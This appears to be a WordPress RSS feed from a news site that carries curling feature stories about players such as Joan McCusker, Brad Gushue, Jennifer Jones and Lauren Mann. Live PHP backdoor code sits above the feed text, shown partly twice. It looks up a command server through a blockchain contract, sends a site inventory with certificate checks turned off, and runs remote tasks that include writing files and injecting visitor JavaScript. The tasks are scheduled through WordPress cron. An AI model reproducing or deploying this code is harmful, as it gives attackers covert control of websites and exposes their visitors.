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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Curler – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 12 Jan 2019 15:20:16 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Curler – Brief News https://briefnews.eu 32 32 The perfect delivery: Being a mother and full-time curler not always easy https://briefnews.eu/the-perfect-delivery-being-a-mother-and-full-time-curler-not-always-easy/ https://briefnews.eu/the-perfect-delivery-being-a-mother-and-full-time-curler-not-always-easy/#respond Sat, 12 Jan 2019 15:20:16 +0000 http://briefnews.eu/the-perfect-delivery-being-a-mother-and-full-time-curler-not-always-easy/ NORTH BATTLEFORD, Sask. —Saskatchewan curler Joan McCusker could have never prepared for the guilt she would feel trying to balance the roles of new mother and elite-level curler.

It was 1993 and the Sandra Schmirler rink was about to win its first Scotties championship. McCusker played second for the team, all while trying to be the best mother she could be. 

She recalls having to leave the ice on a number of occasions during the fifth-end breaks to breastfeed her three-month old son, Rory. 

The team captured its first championship in February 1993. They were all elated. But McCusker was devastated because she felt like she had abandoned her baby. 

"I was so traumatized by that," she said. "I was going to quit because I wanted more kids and couldn't imagine leaving them again to curl."

McCusker's husband, as well as her team, pushed her to continue, reassuring her she wasn't the absent mother she thought she was. It got McCusker thinking about how many other competitive female curlers had young children at that time.  

"I had to do my own research to know," McCusker said. "There were very few members of female Canadian [rinks] who had children and continued to play."

The Schmirler team captured back-to-back Scotties titles but lost their bid for a three-peat in 1995. It was after that season that the team got together and talked about planning their pregnancies before the first-ever Olympic trials, ahead of the 1998 Olympics in Nagano, Japan where the sport would make its Games debut. They wanted children but they also wanted to curl. 

"I feel that my team was groundbreaking in the fact that we wanted to have our cake and eat it too," McCusker said. "And at that point in time if you started your family it was expected you would quit competitive curling and take care of your kids."

Planned pregnancy

Within the span of a few months in 1996 McCusker, second Marcia Gudereit and Jan Betker all had babies.

"Jan and I ended up being pregnant at the same time and had babies in May and July. Marcie had Colin in December," McCusker said. 

Schmirler was undergoing procedures to get pregnant at the same time and in 1997 had her first child — the only problem was that it was just two months before the Olympic trials.

"Sandra famously gave birth by C-section in September of 1997 and we were in the Olympic trials eight weeks later," McCusker said.

Curlers Sandra Schmirler, left, Jan Betker, centre and Joan McCusker planned their pregnancies so they could successfully win gold at the 1998 Olympics in Nagano, Japan. (Chuck Stoody/Canadian Press)

They'd earn the right to represent Canada and go on to win the first Olympic gold medal in curling.

"I swear our recipe for success for winning the very first Olympic trials was our skip having an eight-week old baby and the rest of us having babies," McCusker said. 

The team hoped to also represent Canada at the Olympics four years later in Salt Lake City. They mapped out what the next few years would look like. The first year was all about cashing in on their Olympic fame. The following year was all about having babies again. 

"It was the family year and then the plan was to get back to the Olympics," McCusker said. 

And they all delivered exactly on time. 

Schmirler, McCusker, Betker and Gudereit all had their next round of babies within six months. 

"We were training and laughing about our plans," McCusker said. "That's when Sandra started not feeling well. We thought it was pregnancy and it was cancer."

Schmirler would die of cancer in March 2000. 

Just a couple of weeks ago one of the highest-profile skips in the game announced she will be having a baby —Rachel Homan's due date is June 14. The timing of it is seemingly perfectly planned around the curling season. 

Canadian Rachel Homan, the top-ranked women's skip in the world, is expecting her first child in June. (Aaron Favila/Associated Press)

"It's hard to plan those things and obviously family is way more important than curling," Homan said. "When it comes down to it everyone on the team knows family comes first."

Homan's team is currently ranked No. 1 in the world and has won back-to-back Grand Slam events. She says she's feeling really good right now and has not felt any ill-effects from being pregnant.

The last event of the year is May in Beijing — the final stop on the Curling World Cup Tour. Homan's team will be playing by virtue of winning the first leg. 

"Thankfully it works out that I won't miss much of the curling season. I'll try and play as long as I can and I'm feeling really good right now. We're excited for the future," Homan said. 

"Beijing might be tough but we'll see how it goes. We have a full season in together."

Family first

Jennifer Jones had her first baby in 2012 at a time when there was a lot going on in her life. Not only was she becoming a first-time mother in the fall of 2012, but she had also undergone knee surgery. There was a lot to deal with and the Olympic trials in December of 2013 were fast approaching. 

Undeterred, Jones was a woman on a mission, playing the role of super mom and super curler. She would guide her team to an Olympic trials win and Olympic gold a year later. Her second daughter, Skyla, was born in August 2016. 

One of the winningest skips of all-time admits it can be challenging at times juggling being a full-time curler and mother, but she wouldn't have it any other way. 

"Your kids make every part of your life better," Jones said. "The biggest thing for me is that I want my girls to be proud of me."

Jennifer Jones and her husband Brent Laing, also an elite curler, have to balance their family schedule with their competition schedule. (Justin Tang/Canadian Press)

Jones said her mother has been the biggest blessing in playing the role of babysitter when she's at an event — her husband Brent Laing curls with Team Epping and is at many of the same events. 

"It can be difficult," Jones admitted. "But our moms have been amazing. My mom is a superstar. She just had her 75th birthday."

Jones knows she's sacrificed some valuable time with her daughters while being on the ice, but hopes she can teach her daughters about going after goals  

"I want to be a role model for them and to know they should always chase their dreams. Yes, mom is away a lot but she's chasing her dreams and I want them to do the same."


 

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]]> https://briefnews.eu/the-perfect-delivery-being-a-mother-and-full-time-curler-not-always-easy/feed/ 0 Brad Gushue — the curler who might not have been https://briefnews.eu/brad-gushue-the-curler-who-might-not-have-been/ https://briefnews.eu/brad-gushue-the-curler-who-might-not-have-been/#respond Thu, 05 Apr 2018 20:12:04 +0000 http://briefnews.eu/brad-gushue-the-curler-who-might-not-have-been/ LAS VEGAS — Brad Gushue the curler — it’s hard to imagine the Newfoundland and Labrador skip doing anything else but throwing granite down a sheet of pebbled ice, making shot after shot. That’s how fans of the sport around the world have come to know him.

But there was a time when Gushue’s curling dream might have never transpired.

Ray Gushue, Brad’s dad, didn’t want his son curling. He knew nothing about the sport. It was all hockey, all the time. Besides, what Canadian kid grew up with dreams of being an elite curler, Ray thought.  

“I never wanted him to curl in the first place. I wanted him to play hockey. It’s what I wanted but not what he wanted,” he said sitting in his seat at the Orleans Arena in Las Vegas. 

Brad had grown up in St. John’s playing hockey and another season was about to get underway when everything changed. 

Mother Maureen said she’ll never forget the day they broke the news to her husband that son Brad was hanging up his skates for the curling broom. 

“It was in September, just before the hockey season,” she recalled. “Ray said he needed new skates and equipment and I said we shouldn’t waste money on it. I had known Brad wasn’t interested.”

Ray didn’t listen. He went out and spent upwards of $ 1,000 on new equipment for his son. He was going to make sure his son played hockey. 

“I think he might have went to one or two practices. And then Brad had a practice on a Saturday morning and Ray came home to take him,” Maureen said. 

Brad, 13 at the time, and his mom were waiting to tell his father he wasn’t going to practice that morning and wouldn’t be attending another one. He was quitting hockey. Sparks flew.

“I still remember him firing the hockey equipment down the stairs and cursing and swearing and walking off,” Brad said with a smile. “Mom had to go cool him down.”

Ray Gushue, left, and wife Maureen have been on quite the ride watching their son compete through the years. (Devin Heroux/CBC Sports)

Best decision ever

All these years later Ray calls it the best decision ever.

“His mom won as usual. Best move both of them ever made. I would have never seen as much as the world as I have if it wasn’t for this,” he said. 

Brad admits it took his dad a little while to warm up to the sport but is happy to see he’s come around — winning has helped.

“I still tease him about it. At that moment he wasn’t very happy and I was going into a sport he knew nothing about. Curling isn’t part of our family. My sister and I are first generation curlers.”

It’s approaching 25 years since Brad started getting serious about curling. His parents have been there alongside through it all.

Proud Parents

Today, Ray’s claim to fame is being known as “Brad’s dad”. He even has a shirt he wears with that on it. 

There have been great moments, bad moments and everything along the way. 

“I sit here watching sometimes and think, is it really my son?” Maureen said. 

She points the win at the 2017 Brier in St. John’s as being her proudest moment, right up there with his Olympic gold medal win in 2006.

“Last year topped it all. Winning at home,” she said.

For Ray, seeing his son win the trials in Halifax to represent Canada at the Olympics is his proudest moment, especially considering everything that was going on with the family at that time. His wife had been diagnosed with cancer just a couple of months before the trials.

“There was a lot of stress with Maureen battling cancer and knowing what she was going through. Brad was able to handle it all and from then on he just keeps handling himself so well.”

Making memories with family

There was a time when Brad didn’t have the perspective of what it meant to be on this curling journey with his mom, dad, wife and daughters. He was so hyper-focused on winning that everything outside of the game was secondary. 

Winning the 2017 Brier at home in front of the St. John’s fans was something the Gushue family will forever cherish.(Devin Heroux/CBC Sports)

That’s all changed. Sure, winning his first-ever Brier and then another one this past March has helped ease some of the pressure. But Brad said he’s matured in the sport and life, and can appreciate it all in a different way now.

“Sometimes it’s not about winning but what happened with your team and family during the week of competition,” he said.

“When we look back on this in 20 years we might not remember a certain loss or win, it’ll be hanging out by the pool having a laugh.”

Now he will look to win a second consecutive world curling championship this week in Las Vegas. 

His mom, who helped pave the way for all of this since day one, has a good feeling about how it’ll finish. 

“He’s still got the fire in him. He still wants to win and really doesn’t like losing,” she said.

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The doping violation committed by Russian curler Alexander Krushelnitsky has been confirmed by the Russian Olympic Committee website, which announced on Tuesday that his B sample revealed the presence of a banned substance.

Krushelnitsky and his wife Anastasia Bryzgalova, who secured Russia’s first ever Olympic medal in curling, last week, are now set to be stripped of the bronzes they won in the mixed doubles.

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]]> https://briefnews.eu/russian-curler-krushelnitskys-b-sample-tests-positive-for-meldonium-oar/feed/ 0 Russian Curler Fails Drug Test, Authorities Explore Sabotage Possibility https://briefnews.eu/russian-curler-fails-drug-test-authorities-explore-sabotage-possibility/ https://briefnews.eu/russian-curler-fails-drug-test-authorities-explore-sabotage-possibility/#respond Mon, 19 Feb 2018 08:00:28 +0000 http://briefnews.eu/russian-curler-fails-drug-test-authorities-explore-sabotage-possibility/ Aleksandr Krushelnitckii, who won a bronze medal in mixed doubles with his wife last week, has tested positive for a high dose of meldonium, the same medication that Russian tennis star Maria Sharapova was suspended in 2016 for using.

]]> https://briefnews.eu/russian-curler-fails-drug-test-authorities-explore-sabotage-possibility/feed/ 0 Winter Olympics 2018: Team GB curler Eve Muirhead makes revelation after curling confusion https://briefnews.eu/winter-olympics-2018-team-gb-curler-eve-muirhead-makes-revelation-after-curling-confusion/ https://briefnews.eu/winter-olympics-2018-team-gb-curler-eve-muirhead-makes-revelation-after-curling-confusion/#respond Sun, 18 Feb 2018 09:06:58 +0000 http://briefnews.eu/winter-olympics-2018-team-gb-curler-eve-muirhead-makes-revelation-after-curling-confusion/

“Well, of course, the red light’s come on so that’s counted as a hogged rock and that has to be taken off,” she said.

“I guess when you see the replays in the stadium out there and it looks like it was let go before [the hog line], it’s hard to take.

“But it does, I guess, come down to inches and millimetres.

“The first stone I think I’ve ever hogged in my life.

“And, I guess, when it comes at a time like that it’s horrible.

“But it just makes it worse when you see it and it doesn’t look like it is.

“We did get the stone tested and the stone’s fine, so there’s nothing we can do. We have to move on.”

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If there’s a curling bonspiel with Jones in it, she’s expected to win. So when she lost the Manitoba playdowns last year to miss the Scotties, after 12 previous appearances, players and fans across Canada were shocked.

Jones, though, might be the only one who wasn’t. In fact, she says it might have been the best thing that could have happened to her team in the lead up to another Olympic curling trials, running Dec.2-10 in Ottawa. The men’s and women’s winners will represent Canada in Pyeongchang, South Korea, in February.

“I don’t know if it reignited anything because I believe we always have that fierce competitive fire,” Jones said. “It just allowed us an opportunity to have time during the season which we never have.”

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Instead of panicking, Jones and her team of Kaitlyn Lawes, Jill Officer and Dawn McEwen packed their bags and headed to the Caribbean for a team holiday. At a time of year they’d normally be on the ice, they were soaking up the sun on the beach.

“It was the first time we’ve ever done that,” Jones said. “We really regrouped and started our prep for this year as soon as provincials were over. In a way, we felt we really got a head start on this upcoming year and believe that we’re in a good spot.”

They were relaxing, but they were also going over what they needed to do to get back to the top of their game, a process that started quite a while ago.

‘Mapping it out’

“I think we’ve been kind of mapping it out for the last four years, to what you want that to look like and how you want to be able to try to perform to your best that week.”

And so far, it’s gone according to plan.

Jones’s team has won the last two Grand Slam events heading into this weekend’s Roar of the Rings.

She’ll have some serious competition there, including three-time Canadian champion and current world champion Rachel Homan. But at this point in her career, nothing really seems to faze Jones.

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Jones, along with teammates Jill Officer, centre, Dawn McEwen, right and Kaitlyn Lawes (not pictured) took a sunny regroup together earlier this year after missing the Scotties. (Jonathan Hayward/Canadian Press)

“I think every team there believes they have that winning formula right now and we hope that we do as well,” she said. “We’ve done it before so hopefully that is one of the small little advantages that we can take into this Olympic trials.”

There was a time when Jones was consumed by curling, but now she’s the mother two young daughters, five-year-old Isabella and one-year-old Skyla. It’s providing her a different perspective not only on the game, but on life as well. 

“All I want them to know is that they can achieve anything and they can dream anything and it’s the path along the way that really makes life worth living,” she said.

Late last year, Jones, with husband Brent Laing and the girls, moved to Horseshoe Valley near Barrie, Ont. Laing is no stranger to elite curling. He’s won three Canadian and world titles over the years. It’s a curling household.

“He’s my biggest fan and a big reason that I believe I was able to perform at the Olympics,” Jones said. “Brent has made me such a better curler. He has given me just a great outlook on life, a great outlook on curling and he was there for me like a rock at the Olympics.”

And should Jones and her team fail to qualify getting to the Olympics, Jones has a second opportunity by virtue of playing mixed doubles with Laing. The two could potentially compete at the Games together .

“I don’t find it challenging to play with my husband because we have always have talked curling. We’ve practised together all the time too,” Jones said. “I love mixed doubles. It’s such a fast moving, aggressive style of game. And then I had the opportunity to play with the love of my life.”

Jones wants her love of curling and excellence in the sport to prove to her daughters they can be anything they want in to be in life. She’s constantly reminding of them of this message. And so when her birthday rolled around this summer, she received a surprise she could have never imagined.

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Jones shares a hug with husband Brent Laing, and daughter Isabella. Laing is also a curler and the pair compete in mixed doubles. (Justin Tang/Canadian Press)

“Isabella composed a song and everybody had to say something special about me and what she said was that anything is possible. That’s what she knows about me because I tell her that anything is possible all the time,” Jones said.

And that’s what’s driving Jones to get back to the Olympics now. She hopes to also be a role model for many more women in sport.

“Hopefully I can inspire some young people to try and chase their dreams whatever it may be.”

Should Jones win the trials in Ottawa to earn the right to represent Canada in February, she’ll become the first skip in this country’s curling history to lead a women’s team back to the Olympics. In 2014, Jones went undefeated to capture gold for Canada in Sochi.

Life-changing moment

“It’s really hard to put into words what it’s like to win an Olympic gold medal and the pride that you feel,” she said.

When Jones reflects back on her career, she gets lost for words when trying to describe how this all came to be. She says she was a shy, young girl from Winnipeg who wanted to be the best at everything she did. She fell in love with curling and has carved out a career playing the sport. 

“I had dreams and goals but to have it actually come to fruition and to do it with my amazing teammates who are just the greatest people is remarkable,” she said. “If you can stand on top of an Olympic podium at any moment in time it is a life-changing moment.” 

And she wants to do it again, for her teammates, for her husband, for her daughters. 

“Through all of this, through all the curling, through all the sacrifice that we have made, if my little girls come out of this knowing that anything is possible, it’s all been worth it.

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ST. CATHARINES, ONT — A little more than a year ago, Lauren Mann was in the middle of her provincial curling qualifier, hoping to skip Quebec at the 2016 Scotties Tournament of Hearts.

Just before her semifinal game on Saturday, Jan. 23, 2016, everything changed.

“My brother Adam passed away,” Mann says, wiping tears from her face. “I got a call right before the semifinals that he passed away. He was epileptic. Twenty-two years old. And he drowned after a seizure.”

Mann immediately left the rink and raced to the hospital to be with her family. That’s also where she watched her team lose the final to Marie France-Larouche and miss the Scotties.

“It’s heartbreaking. It will always be heartbreaking,” she says. “I know people say time heals all, but I don’t know how you ever get over that.”

A year later, the pain is still very real for Mann. But she’s trying to put it behind her as she competes at the Scotties with a different team from Quebec, this year playing third for skip Eve Belisle.

“The positive I was able to take out of it was really focusing on the curling,” Mann says. “Because I know I didn’t want to live the rest of my life saying I never came back to the Scotties because of that.”

Right now Team Quebec is on a roll, having won six consecutive games heading into its Draw 12 matchup against Team Canada.

Mann admits she felt a bit of anxiety when she first arrived, thinking about her brother. That’s all disappeared and now she’s dialled in.

“There’s a little bit of me that kind of connects curling and [Adam’s death] together in both a good way and bad way,” she says.

Her mom, dad, brother and sister are all in the crowd in St. Catharines, Ont., cheering the team on.

“It’s really hard for our family but we try to do the best we can to do with it,” Man says.

‘I’m heading to his heart’

After Adam died, the family donated his heart. Where it ended up is remarkable.

“My brother’s heart recipient lives in St. Catharines, and they managed to find us through whatever means. We’ve met them,” says Mann.

“In a way he is here. When I knew the Scotties was in St. Catharines I was almost less stressed because I thought I’m heading to his heart.”

Mann lights up when she talks about her brother.

“He was transgender,” says Mann. “So it was my sister Rebecca who first came out then decided was transgender and wanted to live as a man so he was Adam.”

During the pregnancy, Mann says her mother was sure she was having a boy, and the family called the baby Adam before birth.

Throughout his 22 years, Adam lived a life full of energy and exuberance, according to Mann. She had a special connection with her brother because the two shared a room while growing up.

“He just loved life,” she says. “When he came out our family was really supportive and we embraced him. He was really inspiring in a lot of ways.”

While Mann says it would be too much pressure to be playing this year’s tournament for Adam, she is certainly carrying him with her here at the Scotties Tournament of Hearts.

“He tried curling a couple of times but it wasn’t really his gig,” she laughs. “But he was so supportive.

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